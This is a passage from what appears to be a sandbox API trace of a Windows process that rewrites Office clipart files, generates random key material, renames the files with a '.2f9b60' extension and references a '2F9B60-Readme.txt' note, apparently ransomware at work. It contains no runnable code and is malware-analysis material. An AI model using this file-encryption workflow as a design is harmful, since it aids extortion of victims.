(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6170 [0161.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6170) returned 1 [0161.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a6170 [0161.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a61a0 [0161.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a61d0 [0161.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a61d0) returned 1 [0161.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a630) returned 1 [0161.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0161.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423acbf0 [0161.884] SetFilePointerEx (in: hFile=0x2188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.884] WriteFile (in: hFile=0x2188, lpBuffer=0x423acbf0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x23dbfc30, lpOverlapped=0x0 | out: lpBuffer=0x423acbf0*, lpNumberOfBytesWritten=0x23dbfc30*=0x10a, lpOverlapped=0x0) returned 1 [0163.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265460 [0163.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265460) returned 1 [0163.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0163.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265460 [0163.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679e0 [0163.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202679e0) returned 1 [0163.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.798] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.798] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="5e") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="b0") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="a0") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="f9") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="db") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="d3") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="e2") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="0f") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="df") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="e9") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="7a") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="03") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="04") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="b8") returned 2 [0163.798] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="ba") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="44") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="3e") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="50") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="6a") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="cb") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="fd") returned 2 [0163.799] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.799] RtlInitAnsiString (in: DestinationString=0x23dbfca8, SourceString="5eb0a0f9dbd3e20f9edfe97a0304b8ba4c443e506acbfddc" | out: DestinationString="5eb0a0f9dbd3e20f9edfe97a0304b8ba4c443e506acbfddc") [0163.799] RtlAnsiStringToUnicodeString (in: DestinationString=0x23dbfc78, SourceString="5eb0a0f9dbd3e20f9edfe97a0304b8ba4c443e506acbfddc", AllocateDestinationString=1 | out: DestinationString="5eb0a0f9dbd3e20f9edfe97a0304b8ba4c443e506acbfddc") returned 0x0 [0163.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b858130 [0163.799] RtlFreeAnsiString (AnsiString="5") [0163.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265460) returned 1 [0163.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423acbf0) returned 1 [0163.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6170) returned 1 [0163.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a61a0) returned 1 [0163.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6140) returned 1 [0163.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6110) returned 1 [0163.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3880) returned 1 [0163.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3940) returned 1 [0163.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3970) returned 1 [0163.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d600 [0163.803] wcscat (in: _Dest=0x4230d600, _Source="5eb0a0f9dbd3" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5eb0a0f9dbd3") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5eb0a0f9dbd3" [0163.803] wcscat (in: _Dest=0x4230d600, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5eb0a0f9dbd3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5eb0a0f9dbd3.2f9b60" [0163.803] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5eb0a0f9dbd3.2f9b60", NtPathName=0x23dbfc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\5eb0a0f9dbd3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202786b0 Thread: id = 2348 os_tid = 0x1d14 [0149.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x20 [0149.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF", dwFileAttributes=0x20) returned 1 [0149.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x218c [0149.846] GetFileSizeEx (in: hFile=0x218c, lpFileSize=0x27bafde0 | out: lpFileSize=0x27bafde0*=2020) returned 1 [0149.846] SetFilePointerEx (in: hFile=0x218c, liDistanceToMove=0x7e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.846] ReadFile (in: hFile=0x218c, lpBuffer=0x27bafd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27bafda8, lpOverlapped=0x0 | out: lpBuffer=0x27bafd60*, lpNumberOfBytesRead=0x27bafda8*=0x4, lpOverlapped=0x0) returned 1 [0149.847] SetFilePointerEx (in: hFile=0x218c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3910 [0149.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f39a0 [0149.848] NtQuerySystemTime (in: CurrentTime=0x27bafca0 | out: CurrentTime=0x27bafca0*=132462177550558000) returned 0x0 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x4b837682 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x60128a5c [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0xc6f5ff5 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x44099cf6 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x42e99608 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x11cddb11 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x11748c3c [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x661050e6 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x3f899998 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x6380ed67 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x45bb95d4 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x36bdb06d [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x2c1f029d [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x4394ccc9 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x3f86988f [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x269dc5e3 [0149.848] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x6232d33b [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x48535ba0 [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x673d63de [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x4eef9a4d [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x4169a4fc [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x2117dc4b [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x52a6296a [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x7e165237 [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x691c36ff [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x454c7b2 [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x1b4a79d0 [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x5b8c0218 [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x4fba6319 [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x1777215f [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x3987afb3 [0149.849] RtlRandomEx (in: Seed=0x27bafc90 | out: Seed=0x27bafc90) returned 0x72276de2 [0149.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f39d0 [0149.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a6b0 [0149.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3a00 [0149.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a6b0) returned 1 [0149.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f39a0) returned 1 [0149.858] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0149.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a6b0 [0149.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f490) returned 1 [0149.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd7c930 [0149.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cd80540 [0149.859] ReadFile (in: hFile=0x218c, lpBuffer=0x1cd7c930, nNumberOfBytesToRead=0x7e4, lpNumberOfBytesRead=0x27bafc90, lpOverlapped=0x0 | out: lpBuffer=0x1cd7c930*, lpNumberOfBytesRead=0x27bafc90*=0x7e4, lpOverlapped=0x0) returned 1 [0149.859] SetFilePointerEx (in: hFile=0x218c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.859] WriteFile (in: hFile=0x218c, lpBuffer=0x1cd80540*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x27bafc94, lpOverlapped=0x0 | out: lpBuffer=0x1cd80540*, lpNumberOfBytesWritten=0x27bafc94*=0x7e4, lpOverlapped=0x0) returned 1 [0161.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6290 [0161.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a62c0 [0161.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a62c0) returned 1 [0161.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd80540) returned 1 [0161.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd7c930) returned 1 [0161.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a6b0) returned 1 [0161.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0161.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a62c0 [0161.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0161.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a6b0 [0161.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a62f0 [0161.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a62f0) returned 1 [0161.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a62f0 [0161.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6320 [0161.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6350 [0161.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6350) returned 1 [0161.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a6b0) returned 1 [0161.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0161.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423acd10 [0161.896] SetFilePointerEx (in: hFile=0x218c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.896] WriteFile (in: hFile=0x218c, lpBuffer=0x423acd10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x27bafdb0, lpOverlapped=0x0 | out: lpBuffer=0x423acd10*, lpNumberOfBytesWritten=0x27bafdb0*=0x10a, lpOverlapped=0x0) returned 1 [0163.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce191d0 [0163.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b730 [0163.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c60 [0163.814] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c60) returned 1 [0163.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0163.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd8c60 [0163.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddcbf0 [0163.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddcbf0) returned 1 [0163.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b730) returned 1 [0163.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f80 [0163.815] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="08") returned 2 [0163.815] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="84") returned 2 [0163.815] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="54") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="e3") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="1a") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="47") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="da") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="e5") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="7f") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="16") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="fe") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="fd") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="82") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="be") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="97") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="6f") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="02") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="6e") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="be") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="3d") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7fac, _Format="%c%c" | out: _Dest="29") returned 2 [0163.816] sprintf (in: _Dest=0x1b7d7fae, _Format="%c%c" | out: _Dest="e0") returned 2 [0163.816] RtlInitAnsiString (in: DestinationString=0x27bafe28, SourceString="0884d654e31a47dae57f16fefd82be976f02dc6ebe3d29e0" | out: DestinationString="0884d654e31a47dae57f16fefd82be976f02dc6ebe3d29e0") [0163.816] RtlAnsiStringToUnicodeString (in: DestinationString=0x27bafdf8, SourceString="0884d654e31a47dae57f16fefd82be976f02dc6ebe3d29e0", AllocateDestinationString=1 | out: DestinationString="0884d654e31a47dae57f16fefd82be976f02dc6ebe3d29e0") returned 0x0 [0163.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8581a0 [0163.817] RtlFreeAnsiString (AnsiString="0") [0163.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0163.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd8c60) returned 1 [0163.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423acd10) returned 1 [0163.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a62f0) returned 1 [0163.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6320) returned 1 [0163.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a62c0) returned 1 [0163.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6290) returned 1 [0163.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3910) returned 1 [0163.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f39d0) returned 1 [0163.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3a00) returned 1 [0163.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230d740 [0163.819] wcscat (in: _Dest=0x4230d740, _Source="0884d654e31a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0884d654e31a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0884d654e31a" [0163.819] wcscat (in: _Dest=0x4230d740, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0884d654e31a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0884d654e31a.2f9b60" [0163.819] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0884d654e31a.2f9b60", NtPathName=0x27bafdd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\0884d654e31a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a090 [0164.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2a090) returned 1 [0164.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230c350) returned 1 [0164.374] NtQueryInformationFile (in: FileHandle=0x218c, IoStatusBlock=0x27bafe38, FileInformation=0x27bafe48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27bafe38, FileInformation=0x27bafe48) returned 0x0 [0164.374] NtSetInformationFile (FileHandle=0x218c, IoStatusBlock=0x27bafe38, FileInformation=0x27bafe48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.267] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230d740) returned 1 [0165.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8581a0) returned 1 [0165.268] FlushFileBuffers (hFile=0x218c) returned 1 [0166.256] CloseHandle (hObject=0x218c) returned 1 [0184.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4319a720 [0191.757] wcscpy (in: _Dest=0x4319a720, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0191.757] wcscat (in: _Dest=0x4319a720, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0191.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0191.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319a720) returned 1 [0191.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c720) returned 1 Thread: id = 2349 os_tid = 0x1d18 [0149.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x20 [0149.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF", dwFileAttributes=0x20) returned 1 [0149.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2190 [0149.866] GetFileSizeEx (in: hFile=0x2190, lpFileSize=0x2690f8a0 | out: lpFileSize=0x2690f8a0*=2404) returned 1 [0149.866] SetFilePointerEx (in: hFile=0x2190, liDistanceToMove=0x960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.866] ReadFile (in: hFile=0x2190, lpBuffer=0x2690f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2690f868, lpOverlapped=0x0 | out: lpBuffer=0x2690f820*, lpNumberOfBytesRead=0x2690f868*=0x4, lpOverlapped=0x0) returned 1 [0149.868] SetFilePointerEx (in: hFile=0x2190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f490 [0149.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f39a0 [0149.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) 